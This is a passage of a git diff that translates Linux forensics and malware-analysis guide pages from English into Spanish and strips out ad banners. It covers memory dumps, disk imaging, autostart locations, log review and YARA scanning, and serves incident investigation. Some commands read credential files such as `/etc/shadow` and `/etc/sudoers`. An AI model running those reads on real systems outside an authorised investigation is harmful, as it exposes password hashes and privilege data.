/etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### Información sospechosa -#### Suspicious information +Mientras obtienes la información básica, debes verificar cosas extrañas como: -While obtaining the basic information you should check for weird things like: +- **Los procesos de root** generalmente se ejecutan con PIDS bajos, así que si encuentras un proceso de root con un PID grande, puedes sospechar. +- Verifica los **inicios de sesión registrados** de usuarios sin un shell dentro de `/etc/passwd`. +- Verifica los **hashes de contraseñas** dentro de `/etc/shadow` para usuarios sin un shell. -- **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -- Check **registered logins** of users without a shell inside `/etc/passwd` -- Check for **password hashes** inside `/etc/shadow` for users without a shell +### Volcado de memoria -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +Para obtener la memoria del sistema en ejecución, se recomienda usar [**LiME**](https://github.com/504ensicsLabs/LiME).\ +Para **compilarlo**, necesitas usar el **mismo kernel** que está utilizando la máquina víctima. > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> Recuerda que **no puedes instalar LiME ni nada más** en la máquina víctima, ya que hará varios cambios en ella. +Así que, si tienes una versión idéntica de Ubuntu, puedes usar `apt-get install lime-forensics-dkms`\ +En otros casos, necesitas descargar [**LiME**](https://github.com/504ensicsLabs/LiME) de github y compilarlo con los encabezados de kernel correctos. Para **obtener los encabezados de kernel exactos** de la máquina víctima, puedes simplemente **copiar el directorio** `/lib/modules/` a tu máquina, y luego **compilar** LiME usándolos: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME soporta 3 **formatos**: -LiME supports 3 **formats**: +- Raw (cada segmento concatenado) +- Padded (igual que raw, pero con ceros en los bits de la derecha) +- Lime (formato recomendado con metadatos) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME también se puede usar para **enviar el volcado a través de la red** en lugar de almacenarlo en el sistema usando algo como: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### Imagen de disco -### Disk Imaging +#### Apagado -#### Shutting down +Primero que nada, necesitarás **apagar el sistema**. Esto no siempre es una opción, ya que a veces el sistema será un servidor de producción que la empresa no puede permitirse apagar.\ +Hay **2 maneras** de apagar el sistema, un **apagado normal** y un **apagado de "desenchufar"**. El primero permitirá que los **procesos se terminen como de costumbre** y que el **sistema de archivos** esté **sincronizado**, pero también permitirá que el posible **malware** **destruya evidencia**. El enfoque de "desenchufar" puede conllevar **alguna pérdida de información** (no se perderá mucha información ya que ya tomamos una imagen de la memoria) y el **malware no tendrá ninguna oportunidad** de hacer algo al respecto. Por lo tanto, si **sospechas** que puede haber un **malware**, simplemente ejecuta el **comando** **`sync`** en el sistema y desenchufa. -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### Tomando una imagen del disco +Es importante notar que **antes de conectar tu computadora a cualquier cosa relacionada con el caso**, necesitas asegurarte de que se va a **montar como solo lectura** para evitar modificar cualquier información. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### Análisis previo de la imagen del disco -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +Imágenes de una imagen de disco sin más datos. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## Buscar Malware conocido -
+### Archivos del sistema modificados -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux ofrece herramientas para garantizar la integridad de los componentes del sistema, crucial para detectar archivos potencialmente problemáticos. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +- **Sistemas basados en RedHat**: Use `rpm -Va` para una verificación completa. +- **Sistemas basados en Debian**: `dpkg --verify` para una verificación inicial, seguido de `debsums | grep -v "OK$"` (después de instalar `debsums` con `apt-get install debsums`) para identificar cualquier problema. -## Search for known Malware +### Detectores de Malware/Rootkit -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +Lea la siguiente página para aprender sobre herramientas que pueden ser útiles para encontrar malware: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## Buscar programas instalados -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Para buscar de manera efectiva programas instalados en sistemas Debian y RedHat, considere aprovechar los registros del sistema y bases de datos junto con verificaciones manuales en directorios comunes. -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Para Debian, inspeccione _**`/var/lib/dpkg/status`**_ y _**`/var/log/dpkg.log`**_ para obtener detalles sobre las instalaciones de paquetes, utilizando `grep` para filtrar información específica. +- Los usuarios de RedHat pueden consultar la base de datos RPM con `rpm -qa --root=/mntpath/var/lib/rpm` para listar los paquetes instalados. +Para descubrir software instalado manualmente o fuera de estos gestores de paquetes, explore directorios como _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ y _**`/sbin`**_. Combine listados de directorios con comandos específicos del sistema para identificar ejecutables no asociados con paquetes conocidos, mejorando su búsqueda de todos los programas instalados. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## Recuperar binarios en ejecución eliminados -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +Imagina un proceso que se ejecutó desde /tmp/exec y luego fue eliminado. Es posible extraerlo. ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## Inspeccionar ubicaciones de inicio automático -## Inspect Autostart locations - -### Scheduled Tasks - +### Tareas programadas ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` +### Servicios -### Services +Rutas donde un malware podría instalarse como un servicio: -Paths where a malware could be installed as a service: +- **/etc/inittab**: Llama a scripts de inicialización como rc.sysinit, dirigiendo posteriormente a scripts de inicio. +- **/etc/rc.d/** y **/etc/rc.boot/**: Contienen scripts para el inicio de servicios, siendo este último encontrado en versiones más antiguas de Linux. +- **/etc/init.d/**: Usado en ciertas versiones de Linux como Debian para almacenar scripts de inicio. +- Los servicios también pueden ser activados a través de **/etc/inetd.conf** o **/etc/xinetd/**, dependiendo de la variante de Linux. +- **/etc/systemd/system**: Un directorio para scripts del gestor de sistema y servicios. +- **/etc/systemd/system/multi-user.target.wants/**: Contiene enlaces a servicios que deben iniciarse en un nivel de ejecución multiusuario. +- **/usr/local/etc/rc.d/**: Para servicios personalizados o de terceros. +- **\~/.config/autostart/**: Para aplicaciones de inicio automático específicas del usuario, que pueden ser un escondite para malware dirigido a usuarios. +- **/lib/systemd/system/**: Archivos de unidad predeterminados a nivel de sistema proporcionados por paquetes instalados. -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +### Módulos del Kernel -### Kernel Modules +Los módulos del kernel de Linux, a menudo utilizados por malware como componentes de rootkit, se cargan al inicio del sistema. Los directorios y archivos críticos para estos módulos incluyen: -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +- **/lib/modules/$(uname -r)**: Contiene módulos para la versión del kernel en ejecución. +- **/etc/modprobe.d**: Contiene archivos de configuración para controlar la carga de módulos. +- **/etc/modprobe** y **/etc/modprobe.conf**: Archivos para configuraciones globales de módulos. -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +### Otras Ubicaciones de Autoinicio -### Other Autostart Locations +Linux emplea varios archivos para ejecutar automáticamente programas al iniciar sesión del usuario, potencialmente albergando malware: -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +- **/etc/profile.d/**\*, **/etc/profile**, y **/etc/bash.bashrc**: Se ejecutan para cualquier inicio de sesión de usuario. +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, y **\~/.config/autostart**: Archivos específicos del usuario que se ejecutan al iniciar sesión. +- **/etc/rc.local**: Se ejecuta después de que todos los servicios del sistema han comenzado, marcando el final de la transición a un entorno multiusuario. -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +## Examinar Registros -## Examine Logs +Los sistemas Linux rastrean las actividades de los usuarios y los eventos del sistema a través de varios archivos de registro. Estos registros son fundamentales para identificar accesos no autorizados, infecciones de malware y otros incidentes de seguridad. Los archivos de registro clave incluyen: -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: - -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) o **/var/log/messages** (RedHat): Capturan mensajes y actividades a nivel de sistema. +- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registran intentos de autenticación, inicios de sesión exitosos y fallidos. +- Usa `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` para filtrar eventos de autenticación relevantes. +- **/var/log/boot.log**: Contiene mensajes de inicio del sistema. +- **/var/log/maillog** o **/var/log/mail.log**: Registra actividades del servidor de correo, útil para rastrear servicios relacionados con el correo electrónico. +- **/var/log/kern.log**: Almacena mensajes del kernel, incluidos errores y advertencias. +- **/var/log/dmesg**: Contiene mensajes del controlador de dispositivos. +- **/var/log/faillog**: Registra intentos de inicio de sesión fallidos, ayudando en investigaciones de violaciones de seguridad. +- **/var/log/cron**: Registra ejecuciones de trabajos cron. +- **/var/log/daemon.log**: Rastrear actividades de servicios en segundo plano. +- **/var/log/btmp**: Documenta intentos de inicio de sesión fallidos. +- **/var/log/httpd/**: Contiene registros de errores y acceso de Apache HTTPD. +- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra actividades de la base de datos MySQL. +- **/var/log/xferlog**: Registra transferencias de archivos FTP. +- **/var/log/**: Siempre verifica si hay registros inesperados aquí. > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Los registros del sistema Linux y los subsistemas de auditoría pueden estar deshabilitados o eliminados en un incidente de intrusión o malware. Debido a que los registros en los sistemas Linux generalmente contienen información muy útil sobre actividades maliciosas, los intrusos los eliminan rutinariamente. Por lo tanto, al examinar los archivos de registro disponibles, es importante buscar brechas o entradas fuera de orden que puedan ser una indicación de eliminación o manipulación. -**Linux maintains a command history for each user**, stored in: +**Linux mantiene un historial de comandos para cada usuario**, almacenado en: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +Además, el comando `last -Faiwx` proporciona una lista de inicios de sesión de usuarios. Verifícalo en busca de inicios de sesión desconocidos o inesperados. -Check files that can grant extra rprivileges: +Verifica archivos que pueden otorgar privilegios adicionales: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- Revisa `/etc/sudoers` en busca de privilegios de usuario no anticipados que puedan haberse otorgado. +- Revisa `/etc/sudoers.d/` en busca de privilegios de usuario no anticipados que puedan haberse otorgado. +- Examina `/etc/groups` para identificar cualquier membresía o permisos de grupo inusuales. +- Examina `/etc/passwd` para identificar cualquier membresía o permisos de grupo inusuales. -Some apps alse generates its own logs: +Algunas aplicaciones también generan sus propios registros: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: Examina _\~/.ssh/authorized_keys_ y _\~/.ssh/known_hosts_ para conexiones remotas no autorizadas. +- **Gnome Desktop**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones de Gnome. +- **Firefox/Chrome**: Verifica el historial del navegador y las descargas en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ en busca de actividades sospechosas. +- **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda. +- **Open Office**: Verifica el acceso reciente a documentos que puedan indicar archivos comprometidos. +- **FTP/SFTP**: Revisa los registros en _\~/.ftp_history_ o _\~/.sftp_history_ para transferencias de archivos que podrían no estar autorizadas. +- **MySQL**: Investiga _\~/.mysql_history_ para consultas de MySQL ejecutadas, que podrían revelar actividades no autorizadas en la base de datos. +- **Less**: Analiza _\~/.lesshst_ para el historial de uso, incluidos archivos vistos y comandos ejecutados. +- **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en los repositorios. -### USB Logs +### Registros USB -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB. -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). - -### Installation +Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están dentro de esa lista). +### Instalación ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### Ejemplos ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` +Más ejemplos e información dentro del github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) +## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión -
+Examine el _**/etc/passwd**_, _**/etc/shadow**_ y **registros de seguridad** en busca de nombres inusuales o cuentas creadas y/o utilizadas en estrecha proximidad a eventos no autorizados conocidos. Además, verifique posibles ataques de fuerza bruta a sudo.\ +Además, revise archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a los usuarios.\ +Finalmente, busque cuentas con **sin contraseñas** o **contraseñas fácilmente adivinables**. -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +## Examinar el Sistema de Archivos -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +### Analizando Estructuras del Sistema de Archivos en la Investigación de Malware -## Review User Accounts and Logon Activities +Al investigar incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para obstaculizar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos. -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. - -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +Para contrarrestar estos métodos anti-forenses, es esencial: +- **Realizar un análisis de línea de tiempo exhaustivo** utilizando herramientas como **Autopsy** para visualizar líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para datos de línea de tiempo detallados. +- **Investigar scripts inesperados** en el $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes. +- **Examinar `/dev` en busca de archivos atípicos**, ya que tradicionalmente contiene archivos especiales, pero puede albergar archivos relacionados con malware. +- **Buscar archivos o directorios ocultos** con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso. +- **Identificar archivos setuid root** utilizando el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes. +- **Revisar marcas de tiempo de eliminación** en tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos. +- **Inspeccionar inodos consecutivos** en busca de archivos maliciosos cercanos después de identificar uno, ya que pueden haber sido colocados juntos. +- **Verificar directorios binarios comunes** (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que estos podrían haber sido alterados por malware. ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> Tenga en cuenta que un **atacante** puede **modificar** el **tiempo** para hacer que los **archivos aparezcan** **legítimos**, pero **no puede** modificar el **inode**. Si encuentra que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**. -## Compare files of different filesystem versions +## Comparar archivos de diferentes versiones del sistema de archivos -### Filesystem Version Comparison Summary +### Resumen de comparación de versiones del sistema de archivos -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +Para comparar versiones del sistema de archivos y localizar cambios, utilizamos comandos simplificados de `git diff`: +- **Para encontrar nuevos archivos**, compare dos directorios: ```bash git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ ``` - -- **For modified content**, list changes while ignoring specific lines: - +- **Para contenido modificado**, enumere los cambios ignorando líneas específicas: ```bash git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" ``` - -- **To detect deleted files**: - +- **Para detectar archivos eliminados**: ```bash git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ ``` +- **Las opciones de filtro** (`--diff-filter`) ayudan a reducir a cambios específicos como archivos añadidos (`A`), eliminados (`D`) o modificados (`M`). +- `A`: Archivos añadidos +- `C`: Archivos copiados +- `D`: Archivos eliminados +- `M`: Archivos modificados +- `R`: Archivos renombrados +- `T`: Cambios de tipo (por ejemplo, de archivo a symlink) +- `U`: Archivos no fusionados +- `X`: Archivos desconocidos +- `B`: Archivos rotos -- **Filter options** (`--diff-filter`) help narrow down to specific changes like added (`A`), deleted (`D`), or modified (`M`) files. - - `A`: Added files - - `C`: Copied files - - `D`: Deleted files - - `M`: Modified files - - `R`: Renamed files - - `T`: Type changes (e.g., file to symlink) - - `U`: Unmerged files - - `X`: Unknown files - - `B`: Broken files - -## References +## Referencias - [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf) - [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) - [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) -- **Book: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** +- **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/src/forensics/basic-forensic-methodology/malware-analysis.md b/src/forensics/basic-forensic-methodology/malware-analysis.md index c7edd6650..71b095299 100644 --- a/src/forensics/basic-forensic-methodology/malware-analysis.md +++ b/src/forensics/basic-forensic-methodology/malware-analysis.md @@ -1,12 +1,12 @@ -# Malware Analysis +# Análisis de Malware {{#include ../../banners/hacktricks-training.md}} -## Forensics CheatSheets +## Hojas de Trucos de Forense [https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/) -## Online Services +## Servicios en Línea - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [HybridAnalysis](https://www.hybrid-analysis.com) @@ -14,136 +14,119 @@ - [Intezer](https://analyze.intezer.com) - [Any.Run](https://any.run/) -## Offline Antivirus and Detection Tools +## Herramientas de Antivirus y Detección Offline ### Yara -#### Install - +#### Instalar ```bash sudo apt-get install -y yara ``` +#### Preparar reglas -#### Prepare rules - -Use this script to download and merge all the yara malware rules from github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ -Create the _**rules**_ directory and execute it. This will create a file called _**malware_rules.yar**_ which contains all the yara rules for malware. - +Usa este script para descargar y fusionar todas las reglas de malware yara de github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\ +Crea el directorio _**rules**_ y ejecútalo. Esto creará un archivo llamado _**malware_rules.yar**_ que contiene todas las reglas yara para malware. ```bash wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py mkdir rules python malware_yara_rules.py ``` - -#### Scan - +#### Escanear ```bash yara -w malware_rules.yar image #Scan 1 file yara -w malware_rules.yar folder #Scan the whole folder ``` +#### YaraGen: Verificar malware y crear reglas -#### YaraGen: Check for malware and Create rules - -You can use the tool [**YaraGen**](https://github.com/Neo23x0/yarGen) to generate yara rules from a binary. Check out these tutorials: [**Part 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Part 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Part 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/) - +Puedes usar la herramienta [**YaraGen**](https://github.com/Neo23x0/yarGen) para generar reglas yara a partir de un binario. Consulta estos tutoriales: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 